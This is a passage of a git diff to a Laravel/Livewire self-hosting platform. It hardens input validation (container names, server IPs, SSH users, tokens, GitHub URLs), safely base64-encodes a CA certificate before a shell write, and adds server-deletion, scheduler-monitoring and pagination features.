'required|string', 'mountPath' => 'required|string', 'hostPath' => 'string|nullable', + 'isPreviewSuffixEnabled' => 'required|boolean', ]; protected $validationAttributes = [ @@ -53,11 +56,13 @@ private function syncData(bool $toModel = false): void $this->storage->name = $this->name; $this->storage->mount_path = $this->mountPath; $this->storage->host_path = $this->hostPath; + $this->storage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; } else { // Sync FROM model (on load/refresh) $this->name = $this->storage->name; $this->mountPath = $this->storage->mount_path; $this->hostPath = $this->storage->host_path; + $this->isPreviewSuffixEnabled = $this->storage->is_preview_suffix_enabled ?? true; } } @@ -67,6 +72,16 @@ public function mount() $this->isReadOnly = $this->storage->shouldBeReadOnlyInUI(); } + public function instantSave(): void + { + $this->authorize('update', $this->resource); + $this->validate(); + + $this->syncData(true); + $this->storage->save(); + $this->dispatch('success', 'Storage updated successfully'); + } + public function submit() { $this->authorize('update', $this->resource); @@ -77,15 +92,17 @@ public function submit() $this->dispatch('success', 'Storage updated successfully'); } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->storage->delete(); $this->dispatch('refreshStorages'); + + return true; } } diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php index ae68b2354..bbc2b3e66 100644 --- a/app/Livewire/Project/Shared/Terminal.php +++ b/app/Livewire/Project/Shared/Terminal.php @@ -4,6 +4,7 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\Server; +use App\Support\ValidationPatterns; use Livewire\Attributes\On; use Livewire\Component; @@ -36,7 +37,7 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid) if ($isContainer) { // Validate container identifier format (alphanumeric, dashes, and underscores only) - if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $identifier)) { + if (! ValidationPatterns::isValidContainerName($identifier)) { throw new \InvalidArgumentException('Invalid container identifier format'); } diff --git a/app/Livewire/Server/CaCertificate/Show.php b/app/Livewire/Server/CaCertificate/Show.php index c929d9b3d..57aaaa945 100644 --- a/app/Livewire/Server/CaCertificate/Show.php +++ b/app/Livewire/Server/CaCertificate/Show.php @@ -60,10 +60,16 @@ public function saveCaCertificate() throw new \Exception('Certificate content cannot be empty.'); } - if (! openssl_x509_read($this->certificateContent)) { + $parsedCert = openssl_x509_read($this->certificateContent); + if (! $parsedCert) { throw new \Exception('Invalid certificate format.'); } + if (! openssl_x509_export($parsedCert, $cleanedCertificate)) { + throw new \Exception('Failed to process certificate.'); + } + $this->certificateContent = $cleanedCertificate; + if ($this->caCertificate) { $this->caCertificate->ssl_certificate = $this->certificateContent; $this->caCertificate->save(); @@ -114,12 +120,14 @@ private function writeCertificateToServer() { $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($this->certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index e7b64b805..d06543b39 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Actions\Server\DeleteServer; +use App\Jobs\DeleteResourceJob; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -15,6 +16,8 @@ class Delete extends Component public bool $delete_from_hetzner = false; + public bool $force_delete_resources = false; + public function mount(string $server_uuid) { try { @@ -24,19 +27,30 @@ public function mount(string $server_uuid) } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; + } + + if (! empty($selectedActions)) { + $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); + $this->force_delete_resources = in_array('force_delete_resources', $selectedActions); } try { $this->authorize('delete', $this->server); - if ($this->server->hasDefinedResources()) { - $this->dispatch('error', 'Server has defined resources. Please delete them first.'); + if ($this->server->hasDefinedResources() && ! $this->force_delete_resources) { + $this->dispatch('error', 'Server has defined resources. Please delete them first or select "Delete all resources".'); return; } + if ($this->force_delete_resources) { + foreach ($this->server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $this->server->delete(); DeleteServer::dispatch( $this->server->id, @@ -56,6 +70,15 @@ public function render() { $checkboxes = []; + if ($this->server->hasDefinedResources()) { + $resourceCount = $this->server->definedResources()->count(); + $checkboxes[] = [ + 'id' => 'force_delete_resources', + 'label' => "Delete all resources ({$resourceCount} total)", + 'default_warning' => 'Server cannot be deleted while it has resources.', + ]; + } + if ($this->server->hetzner_server_id) { $checkboxes[] = [ 'id' => 'delete_from_hetzner', diff --git a/app/Livewire/Server/DockerCleanup.php b/app/Livewire/Server/DockerCleanup.php index 92094c950..12d111d21 100644 --- a/app/Livewire/Server/DockerCleanup.php +++ b/app/Livewire/Server/DockerCleanup.php @@ -3,8 +3,13 @@ namespace App\Livewire\Server; use App\Jobs\DockerCleanupJob; +use App\Models\DockerCleanupExecution; use App\Models\Server; +use Cron\CronExpression; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Carbon; +use Illuminate\Support\Facades\Cache; +use Livewire\Attributes\Computed; use Livewire\Attributes\Validate; use Livewire\Component; @@ -34,6 +39,53 @@ class DockerCleanup extends Component #[Validate('boolean')] public bool $disableApplicationImageRetention = false; + #[Computed] + public function isCleanupStale(): bool + { + try { + $lastExecution = DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first(); + + if (! $lastExecution) { + return false; + } + + $frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *'; + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $cron = new CronExpression($frequency); + $now = Carbon::now(); + $nextRun = Carbon::parse($cron->getNextRunDate($now)); + $afterThat = Carbon::parse($cron->getNextRunDate($nextRun)); + $intervalMinutes = $nextRun->diffInMinutes($afterThat); + + $threshold = max($intervalMinutes * 2, 10); + + return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold; + } catch (\Throwable) { + return false; + } + } + + #[Computed] + public function lastExecutionTime(): ?string + { + return DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first() + ?->created_at + ?->diffForHumans(); + } + + #[Computed] + public function isSchedulerHealthy(): bool + { + return Cache::get('scheduled-job-manager:heartbeat') !== null; + } + public function mount(string $server_uuid) { try { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index d4a65af81..5d77f4998 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -24,16 +24,16 @@ class LogDrains extends Component #[Validate(['boolean'])] public bool $isLogDrainAxiomEnabled = false; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainNewRelicLicenseKey = null; #[Validate(['url', 'nullable'])] public ?string $logDrainNewRelicBaseUri = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomDatasetName = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; #[Validate(['string', 'nullable'])] @@ -127,7 +127,7 @@ public function customValidation() if ($this->isLogDrainNewRelicEnabled) { try { $this->validate([ - 'logDrainNewRelicLicenseKey' => ['required'], + 'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainNewRelicBaseUri' => ['required', 'url'], ]); } catch (\Throwable $e) { @@ -138,8 +138,8 @@ public function customValidation() } elseif ($this->isLogDrainAxiomEnabled) { try { $this->validate([ - 'logDrainAxiomDatasetName' => ['required'], - 'logDrainAxiomApiKey' => ['required'], + 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php index f1ffa60f2..4c6f31b0c 100644 --- a/app/Livewire/Server/New/ByHetzner.php +++ b/app/Livewire/Server/New/ByHetzner.php @@ -8,6 +8,7 @@ use App\Models\PrivateKey; use App\Models\Server; use App\Models\Team; +use App\Rules\ValidCloudInitYaml; use App\Rules\ValidHostname; use App\Services\HetznerService; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -161,7 +162,7 @@ protected function rules(): array 'selectedHetznerSshKeyIds.*' => 'integer', 'enable_ipv4' => 'required|boolean', 'enable_ipv6' => 'required|boolean', - 'cloud_init_script' => ['nullable', 'string', new \App\Rules\ValidCloudInitYaml], + 'cloud_init_script' => ['nullable', 'string', new ValidCloudInitYaml], 'save_cloud_init_script' => 'boolean', 'cloud_init_script_name' => 'nullable|string|max:255', 'selected_cloud_init_script_id' => 'nullable|integer|exists:cloud_init_scripts,id', @@ -295,11 +296,6 @@ private function getCpuVendorInfo(array $serverType): ?string public function getAvailableServerTypesProperty() { - ray('Getting available server types', [ - 'selected_location' => $this->selected_location, - 'total_server_types' => count($this->serverTypes), - ]); - if (! $this->selected_location) { return $this->serverTypes; } @@ -322,21 +318,11 @@ public function getAvailableServerTypesProperty() ->values() ->toArray(); - ray('Filtered server types', [ - 'selected_location' => $this->selected_location, - 'filtered_count' => count($filtered), - ]); - return $filtered; } public function getAvailableImagesProperty() { - ray('Getting available images', [ - 'selected_server_type' => $this->selected_server_type, - 'total_images' => count($this->images), - 'images' => $this->images, - ]); if (! $this->selected_server_type) { return $this->images; @@ -344,10 +330,7 @@ public function getAvailableImagesProperty() $serverType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type); - ray('Server type data', $serverType); - if (! $serverType || ! isset($serverType['architecture'])) { - ray('No architecture in server type, returning all'); return $this->images; } @@ -359,11 +342,6 @@ public function getAvailableImagesProperty() ->values() ->toArray(); - ray('Filtered images', [ - 'architecture' => $architecture, - 'filtered_count' => count($filtered), - ]); - return $filtered; } @@ -386,8 +364,6 @@ public function getSelectedServerPriceProperty(): ?string public function updatedSelectedLocation($value) { - ray('Location selected', $value); - // Reset server type and image when location changes $this->selected_server_type = null; $this->selected_image = null; @@ -395,15 +371,13 @@ public function updatedSelectedLocation($value) public function updatedSelectedServerType($value) { - ray('Server type selected', $value); - // Reset image when server type changes $this->selected_image = null; } public function updatedSelectedImage($value) { - ray('Image selected', $value); + // } public function updatedSelectedCloudInitScriptId($value) @@ -433,18 +407,10 @@ private function createHetznerServer(string $token): array $publicKey = $privateKey->getPublicKey(); $md5Fingerprint = PrivateKey::generateMd5Fingerprint($privateKey->private_key); - ray('Private Key Info', [ - 'private_key_id' => $this->private_key_id, - 'sha256_fingerprint' => $privateKey->fingerprint, - 'md5_fingerprint' => $md5Fingerprint, - ]); - // Check if SSH key already exists on Hetzner by comparing MD5 fingerprints $existingSshKeys = $hetznerService->getSshKeys(); $existingKey = null; - ray('Existing SSH Keys on Hetzner', $existingSshKeys); - foreach ($existingSshKeys as $key) { if ($key['fingerprint'] === $md5Fingerprint) { $existingKey = $key; @@ -455,12 +421,10 @@ private function createHetznerServer(string $token): array // Upload SSH key if it doesn't exist if ($existingKey) { $sshKeyId = $existingKey['id']; - ray('Using existing SSH key', ['ssh_key_id' => $sshKeyId]); } else { $sshKeyName = $privateKey->name; $uploadedKey = $hetznerService->uploadSshKey($sshKeyName, $publicKey); $sshKeyId = $uploadedKey['id']; - ray('Uploaded new SSH key', ['ssh_key_id' => $sshKeyId, 'name' => $sshKeyName]); } // Normalize server name to lowercase for RFC 1123 compliance @@ -495,13 +459,9 @@ private function createHetznerServer(string $token): array $params['user_data'] = $this->cloud_init_script; } - ray('Server creation parameters', $params); - // Create server on Hetzner $hetznerServer = $hetznerService->createServer($params); - ray('Hetzner server created', $hetznerServer); - return $hetznerServer; } diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index eecdfb4d0..51c6a06ee 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -5,6 +5,7 @@ use App\Enums\ProxyTypes; use App\Models\Server; use App\Models\Team; +use App\Rules\ValidServerIp; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; @@ -55,8 +56,8 @@ protected function rules(): array 'new_private_key_value' => 'nullable|string', 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required|string', - 'user' => 'required|string', + 'ip' => ['required', 'string', new ValidServerIp], + 'user' => ['required', 'string', 'regex:/^[a-zA-Z0-9_-]+$/'], 'port' => 'required|integer|between:1,65535', 'is_build_server' => 'required|boolean', ]; diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index 1a14baf89..d5f30fca0 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -51,6 +51,7 @@ public function mount() $this->redirectEnabled = data_get($this->server, 'proxy.redirect_enabled', true); $this->redirectUrl = data_get($this->server, 'proxy.redirect_url'); $this->syncData(false); + $this->loadProxyConfiguration(); } private function syncData(bool $toModel = false): void diff --git a/app/Livewire/Server/Resources.php b/app/Livewire/Server/Resources.php index a21b0372b..3710064dc 100644 --- a/app/Livewire/Server/Resources.php +++ b/app/Livewire/Server/Resources.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Models\Server; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -29,6 +30,11 @@ public function getListeners() public function startUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->startUnmanaged($id); $this->dispatch('success', 'Container started.'); $this->loadUnmanagedContainers(); @@ -36,6 +42,11 @@ public function startUnmanaged($id) public function restartUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->restartUnmanaged($id); $this->dispatch('success', 'Container restarted.'); $this->loadUnmanagedContainers(); @@ -43,6 +54,11 @@ public function restartUnmanaged($id) public function stopUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->stopUnmanaged($id); $this->dispatch('success', 'Container stopped.'); $this->loadUnmanagedContainers(); diff --git a/app/Livewire/Server/Security/TerminalAccess.php b/app/Livewire/Server/Security/TerminalAccess.php index 310edcfe4..b4b99a3e7 100644 --- a/app/Livewire/Server/Security/TerminalAccess.php +++ b/app/Livewire/Server/Security/TerminalAccess.php @@ -31,7 +31,7 @@ public function mount(string $server_uuid) } } - public function toggleTerminal($password) + public function toggleTerminal($password, $selectedActions = []) { try { $this->authorize('update', $this->server); @@ -43,7 +43,7 @@ public function toggleTerminal($password) // Verify password if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } // Toggle the terminal setting @@ -55,6 +55,8 @@ public function toggleTerminal($password) $status = $this->isTerminalEnabled ? 'enabled' : 'disabled'; $this->dispatch('success', "Terminal access has been {$status}."); + + return true; } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index cdcdc71fc..dff379ae1 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -19,7 +19,7 @@ class Sentinel extends Component public bool $isMetricsEnabled; - #[Validate(['required'])] + #[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])] public string $sentinelToken; public ?string $sentinelUpdatedAt = null; diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 83c63a81c..84cb65ee6 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -7,6 +7,7 @@ use App\Events\ServerReachabilityChanged; use App\Models\CloudProviderToken; use App\Models\Server; +use App\Rules\ValidServerIp; use App\Services\HetznerService; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -106,9 +107,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required', - 'user' => 'required', - 'port' => 'required', + 'ip' => ['required', new ValidServerIp], + 'user' => ['required', 'regex:/^[a-zA-Z0-9_-]+$/'], + 'port' => 'required|integer|between:1,65535', 'validationLogs' => 'nullable', 'wildcardDomain' => 'nullable|url', 'isReachable' => 'required', @@ -482,6 +483,22 @@ public function startHetznerServer() } } + public function refreshServerMetadata(): void + { + try { + $this->authorize('update', $this->server); + $result = $this->server->gatherServerMetadata(); + if ($result) { + $this->server->refresh(); + $this->dispatch('success', 'Server details refreshed.'); + } else { + $this->dispatch('error', 'Could not fetch server details. Is the server reachable?'); + } + } catch (\Throwable $e) { + handleError($e, $this); + } + } + public function submit() { try { diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 1a5bd381b..198d823b9 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -198,6 +198,9 @@ public function validateDockerVersion() // Mark validation as complete $this->server->update(['is_validating' => false]); + // Auto-fetch server details now that validation passed + $this->server->gatherServerMetadata(); + $this->dispatch('refreshServerShow'); $this->dispatch('refreshBoardingIndex'); ServerValidated::dispatch($this->server->team_id, $this->server->uuid); diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index 16361ce79..ad478273f 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -95,7 +95,9 @@ public function submit() // Check if it's valid CIDR notation if (str_contains($entry, '/')) { [$ip, $mask] = explode('/', $entry); - if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= $maxMask) { return $entry; } $invalidEntries[] = $entry; @@ -111,7 +113,7 @@ public function submit() $invalidEntries[] = $entry; return null; - })->filter()->unique(); + })->filter()->values()->all(); if (! empty($invalidEntries)) { $this->dispatch('error', 'Invalid IP addresses or subnets: '.implode(', ', $invalidEntries)); @@ -119,13 +121,15 @@ public function submit() return; } - if ($validEntries->isEmpty()) { + if (empty($validEntries)) { $this->dispatch('error', 'No valid IP addresses or subnets provided'); return; } - $this->allowed_ips = $validEntries->implode(','); + $validEntries = deduplicateAllowlist($validEntries); + + $this->allowed_ips = implode(',', $validEntries); } $this->instantSave(); diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php index 66480cd8d..1e54f1483 100644 --- a/app/Livewire/Settings/ScheduledJobs.php +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -3,8 +3,11 @@ namespace App\Livewire\Settings; use App\Models\DockerCleanupExecution; +use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledDatabaseBackupExecution; +use App\Models\ScheduledTask; use App\Models\ScheduledTaskExecution; +use App\Models\Server; use App\Services\SchedulerLogParser; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; @@ -16,6 +19,18 @@ class ScheduledJobs extends Component public string $filterDate = 'last_24h'; + public int $skipPage = 0; + + public int $skipDefaultTake = 20; + + public bool $showSkipNext = false; + + public bool $showSkipPrev = false; + + public int $skipCurrentPage = 1; + + public int $skipTotalCount = 0; + protected Collection $executions; protected Collection $skipLogs; @@ -42,11 +57,30 @@ public function mount(): void public function updatedFilterType(): void { + $this->skipPage = 0; $this->loadData(); } public function updatedFilterDate(): void { + $this->skipPage = 0; + $this->loadData(); + } + + public function skipNextPage(): void + { + $this->skipPage += $this->skipDefaultTake; + $this->showSkipPrev = true; + $this->loadData(); + } + + public function skipPreviousPage(): void + { + $this->skipPage -= $this->skipDefaultTake; + if ($this->skipPage < 0) { + $this->skipPage = 0; + } + $this->showSkipPrev = $this->skipPage > 0; $this->loadData(); } @@ -69,10 +103,86 @@ private function loadData(?int $teamId = null): void $this->executions = $this->getExecutions($teamId); $parser = new SchedulerLogParser; - $this->skipLogs = $parser->getRecentSkips(50, $teamId); + $allSkips = $parser->getRecentSkips(500, $teamId); + $this->skipTotalCount = $allSkips->count(); + $this->skipLogs = $this->enrichSkipLogsWithLinks( + $allSkips->slice($this->skipPage, $this->skipDefaultTake)->values() + ); + $this->showSkipPrev = $this->skipPage > 0; + $this->showSkipNext = ($this->skipPage + $this->skipDefaultTake) < $this->skipTotalCount; + $this->skipCurrentPage = intval($this->skipPage / $this->skipDefaultTake) + 1; $this->managerRuns = $parser->getRecentRuns(30, $teamId); } + private function enrichSkipLogsWithLinks(Collection $skipLogs): Collection + { + $taskIds = $skipLogs->where('type', 'task')->pluck('context.task_id')->filter()->unique()->values(); + $backupIds = $skipLogs->where('type', 'backup')->pluck('context.backup_id')->filter()->unique()->values(); + $serverIds = $skipLogs->where('type', 'docker_cleanup')->pluck('context.server_id')->filter()->unique()->values(); + + $tasks = $taskIds->isNotEmpty() + ? ScheduledTask::with(['application.environment.project', 'service.environment.project'])->whereIn('id', $taskIds)->get()->keyBy('id') + : collect(); + + $backups = $backupIds->isNotEmpty() + ? ScheduledDatabaseBackup::with(['database.environment.project'])->whereIn('id', $backupIds)->get()->keyBy('id') + : collect(); + + $servers = $serverIds->isNotEmpty() + ? Server::whereIn('id', $serverIds)->get()->keyBy('id') + : collect(); + + return $skipLogs->map(function (array $skip) use ($tasks, $backups, $servers): array { + $skip['link'] = null; + $skip['resource_name'] = null; + + if ($skip['type'] === 'task') { + $task = $tasks->get($skip['context']['task_id'] ?? null); + if ($task) { + $skip['resource_name'] = $skip['context']['task_name'] ?? $task->name; + $resource = $task->application ?? $task->service; + $environment = $resource?->environment; + $project = $environment?->project; + if ($project && $environment && $resource) { + $routeName = $task->application_id + ? 'project.application.scheduled-tasks' + : 'project.service.scheduled-tasks'; + $routeKey = $task->application_id ? 'application_uuid' : 'service_uuid'; + $skip['link'] = route($routeName, [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + $routeKey => $resource->uuid, + 'task_uuid' => $task->uuid, + ]); + } + } + } elseif ($skip['type'] === 'backup') { + $backup = $backups->get($skip['context']['backup_id'] ?? null); + if ($backup) { + $database = $backup->database; + $skip['resource_name'] = $database?->name ?? 'Database backup'; + $environment = $database?->environment; + $project = $environment?->project; + if ($project && $environment && $database) { + $skip['link'] = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + } elseif ($skip['type'] === 'docker_cleanup') { + $server = $servers->get($skip['context']['server_id'] ?? null); + if ($server) { + $skip['resource_name'] = $server->name; + $skip['link'] = route('server.show', ['server_uuid' => $server->uuid]); + } + } + + return $skip; + }); + } + private function getExecutions(?int $teamId = null): Collection { $dateFrom = $this->getDateFrom(); diff --git a/app/Livewire/Settings/Updates.php b/app/Livewire/Settings/Updates.php index 01a67c38c..a200ef689 100644 --- a/app/Livewire/Settings/Updates.php +++ b/app/Livewire/Settings/Updates.php @@ -25,6 +25,9 @@ class Updates extends Component public function mount() { + if (! isInstanceAdmin()) { + return redirect()->route('dashboard'); + } if (! isCloud()) { $this->server = Server::findOrFail(0); } diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 0bdc1503f..9405b452a 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -40,6 +40,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'environment', 'team_id' => currentTeam()->id, ]); @@ -138,7 +139,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->environment->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index b205ea1ec..7753a4027 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'project', 'team_id' => currentTeam()->id, ]); @@ -129,7 +130,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->project->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index e420686f0..29e21a1b7 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'team', 'team_id' => currentTeam()->id, ]); @@ -128,7 +129,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->team->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 0a38e6088..d6537069c 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -5,6 +5,7 @@ use App\Jobs\GithubAppPermissionJob; use App\Models\GithubApp; use App\Models\PrivateKey; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Http; use Lcobucci\JWT\Configuration; @@ -71,24 +72,27 @@ class Change extends Component public $privateKeys; - protected $rules = [ - 'name' => 'required|string', - 'organization' => 'nullable|string', - 'apiUrl' => 'required|string', - 'htmlUrl' => 'required|string', - 'customUser' => 'required|string', - 'customPort' => 'required|int', - 'appId' => 'nullable|int', - 'installationId' => 'nullable|int', - 'clientId' => 'nullable|string', - 'clientSecret' => 'nullable|string', - 'webhookSecret' => 'nullable|string', - 'isSystemWide' => 'required|bool', - 'contents' => 'nullable|string', - 'metadata' => 'nullable|string', - 'pullRequests' => 'nullable|string', - 'privateKeyId' => 'nullable|int', - ]; + protected function rules(): array + { + return [ + 'name' => 'required|string', + 'organization' => 'nullable|string', + 'apiUrl' => ['required', 'string', 'url', new SafeExternalUrl], + 'htmlUrl' => ['required', 'string', 'url', new SafeExternalUrl], + 'customUser' => 'required|string', + 'customPort' => 'required|int', + 'appId' => 'nullable|int', + 'installationId' => 'nullable|int', + 'clientId' => 'nullable|string', + 'clientSecret' => 'nullable|string', + 'webhookSecret' => 'nullable|string', + 'isSystemWide' => 'required|bool', + 'contents' => 'nullable|string', + 'metadata' => 'nullable|string', + 'pullRequests' => 'nullable|string', + 'privateKeyId' => 'nullable|int', + ]; + } public function boot() { @@ -239,7 +243,7 @@ public function mount() if (isCloud() && ! isDev()) { $this->webhook_endpoint = config('app.url'); } else { - $this->webhook_endpoint = $this->ipv4 ?? ''; + $this->webhook_endpoint = $this->fqdn ?? $this->ipv4 ?? ''; $this->is_system_wide = $this->github_app->is_system_wide; } } catch (\Throwable $e) { diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php index 4ece6a92f..ec2ba3f08 100644 --- a/app/Livewire/Source/Github/Create.php +++ b/app/Livewire/Source/Github/Create.php @@ -3,6 +3,7 @@ namespace App\Livewire\Source\Github; use App\Models\GithubApp; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -37,8 +38,8 @@ public function createGitHubApp() $this->validate([ 'name' => 'required|string', 'organization' => 'nullable|string', - 'api_url' => 'required|string', - 'html_url' => 'required|string', + 'api_url' => ['required', 'string', 'url', new SafeExternalUrl], + 'html_url' => ['required', 'string', 'url', new SafeExternalUrl], 'custom_user' => 'required|string', 'custom_port' => 'required|int', 'is_system_wide' => 'required|bool', diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 4dc0b6ae2..791226334 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -6,6 +6,7 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use 